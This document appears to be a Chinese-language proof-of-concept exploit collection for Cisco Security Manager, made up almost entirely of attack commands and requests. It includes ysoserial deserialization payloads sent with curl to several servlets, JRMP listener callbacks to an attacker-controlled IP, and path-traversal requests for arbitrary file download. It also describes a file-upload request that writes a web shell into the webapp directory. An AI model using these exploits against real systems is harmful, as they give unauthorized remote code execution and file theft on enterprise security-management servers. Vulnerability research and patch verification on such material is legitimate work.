简介
思科安全管理器是一个企业级安全管理应用程序，可提供对思科安全和网络设备的了解和控制。 Cisco Security Manager在广泛的Cisco安全设备中提供全面的安全管理（配置和事件管理），包括Cisco ASA自适应安全设备，Cisco IPS系列传感器设备，Cisco集成服务路由器（ISR），Cisco防火墙服务模块（FWSM） ，Cisco Catalyst，Cisco交换机等等。 Cisco Security Manager允许您有效地管理各种规模的网络-从小型网络到包含数百台设备的大型网络。
POC
SecretService.jsp 反序列化漏洞
java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils
curl -k --request POST --data-binary "@payload_CommonsBeanutils" https://[TARGET_HOST]/CSCOnm/servlet/SecretService.jsp
CsJaasServiceServlet 反序列化漏洞
Compile JaasEncryptor.java and replace the b64Payload content:
import java.security.InvalidKeyException;
import java.util.Base64;
import com.cisco.nm.cmf.security.jaas.BlobCrypt;
public class JaasEncryptor {
public static void main(String args[]) {
String b64Payload = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3MQAKVW5pY2FzdFJlZgAIMTAuMC4wLjIAAAG7AAAAAEBnvkQAAAAAAAAAAAAAAAAAAAB4";
byte[] payload = Base64.getDecoder().decode(b64Payload);
byte[] key = new byte[]{-100, 76, -23, 87, 125, 0, 5, 94, 12, 76, 37, -84, 36, 78, 123, 5};
byte[] enc = BlobCrypt.encryptArray(payload, key);
System.out.println("Encrypted payload: " + Base64.getEncoder().encodeToString(enc));
byte[] dec = BlobCrypt.decryptArray(enc, key);
}
}
Prepare JRMP Listener:
java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 443
java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient \'[YOUR_IP]]:443\' | base64 -w0
Compile encrypted payload:
javac -cp [YOUR_PATH]]/server_jars_classes/jars.jar:./ JaasEncryptor2.java; java -cp [YOUR_PATH]/server_jars_classes/jars.jar:./ JaasEncryptor
Send payload to Servlet with parameters cmd=data + new line + data=[ENCRYPTED_PAYLOAD].
AuthTokenServlet 反序列化漏洞
Prepare JRMP Listener:
java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"
java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient \'[YOUR_IP]]:1337\' > payload_JRMP1_2
Send request:
curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.AuthTokenServlet
ClientServicesServlet 反序列化漏洞
Prepare JRMP listener:
java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"
java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient \'[YOUR_IP]:1337\' > payload_JRMP1_3
Send request:
curl -k --request POST --data-binary "@payload_JRMP1_3" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.ClientServicesServlet
CTMServlet 反序列化漏洞
java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils1_2
curl -i -s -k -X $\'POST\' -H $\'Content-Type: application/octet-stream\' -H $\'CTM-URN: com-cisco-nm-vms-ipintel-IpIntelligenceApi\' -H $\'CTM-VERSION: 1.5\' -H $\'CTM-PRODUCT-ID: /C:/Program Files (x86)/CSCOpx/MDC/tomcat/vms/athena/WEB-INF/lib/\' -H $\'Cache-Control: no-cache\' -H $\'Pragma: no-cache\' -H $\'User-Agent: Java/1.8.0_222\' -H $\'Host: [TARGET_IP]\' -H $\'Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\' -H $\'Connection: keep-alive\' --data-binary "@payload_CommonsBeanutils1_2" $\'https://[TARGET_IP]/athena/CTMServlet\'
XdmConfigRequestHandler任意文件下载
GET /athena/xdmProxy/xdmConfig[RELATIVE_PATH_TO_FILE]
XdmResourceRequestHandler 任意文件下载
GET /athena/xdmProxy/xdmResources[RELATIVE_PATH_TO_FILE]?dmTargetType=TARGET.IDS&dmOsVersion=7.&command=editConfigDelta
XmpFileUploadServlet 任意文件上传
Write a web shell e.g.
POST /cwhp/XmpFileUploadServlet?maxFileSize=100
Normal multi-part e.g. writing web shell in filename with ../../MDC/tomcat/webapps/cwhp/testme.jsp.
XmpFileDownloadServlet 任意文件下载
GET /cwhp/XmpFileDownloadServlet?parameterName=downloadDoc&downloadDirectory=[RELATIVE_PATH_TO_DIRECTORY]&readmeText=1
This will respond with a ZIP file containing all files from the directory.
SampleFileDownloadServlet 任意文件下载
GET /cwhp/SampleFileDownloadServlet?downloadZipFileName=pwned&downloadFiles=README&downloadLocation=[RELATIVE_PATH_TO_DIRECTORY]
This will respond with a ZIP file containing all files from the directory.
resultsFrame.jsp 任意文件下载
GET /athena/itf/resultsFrame.jsp?filename=[RELATIVE_PATH_TO_FILE]
SecretServiceServlet 反序列化漏洞
See also https://de.tenable.com/security/research/tra-2017-23
java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"
java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient \'[YOUR_IP]:1337\' > payload_JRMP1_2
curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.SecretServiceServlet